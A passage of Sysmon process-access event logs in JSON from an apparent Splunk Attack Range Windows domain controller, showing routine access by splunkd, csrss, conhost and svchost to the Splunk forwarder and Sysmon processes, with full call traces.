AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-00106F360E00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-00106F360E00}","TargetProcessId":"4180","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-00106F360E00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-00106F360E00}","TargetProcessId":"4180","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7930,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42E3-5F2D-0000-00106F360E00}\r\nTargetProcessId: 4180\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42E3-5F2D-0000-00106F360E00}","TargetProcessId":"4180","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7931,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7932,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7933,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7934,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 